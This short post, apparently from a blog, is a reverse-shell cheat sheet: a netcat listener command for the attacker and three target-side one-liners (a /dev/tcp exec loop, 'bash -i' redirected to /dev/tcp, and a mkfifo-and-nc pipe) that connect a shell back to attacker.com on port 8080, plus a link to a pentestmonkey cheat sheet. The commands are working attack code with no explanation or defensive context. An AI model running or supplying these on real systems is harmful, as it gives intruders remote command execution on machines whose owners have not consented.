attacker
$ nc -l -p 8080 -vvv
target
$ exec 5<>/dev/tcp/attacker.com/8080; sleep 1; cat <&5 | while read line; do $line 2>&5 >&5; done
or
$ bash -i >& /dev/tcp/attacker.com/8080 0>&1
or
rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc attacker.com 8080 >/tmp/f
http://pentestmonkey.net/cheat-sheet/shells/reverse-shell-cheat-sheet
No comments:
Post a Comment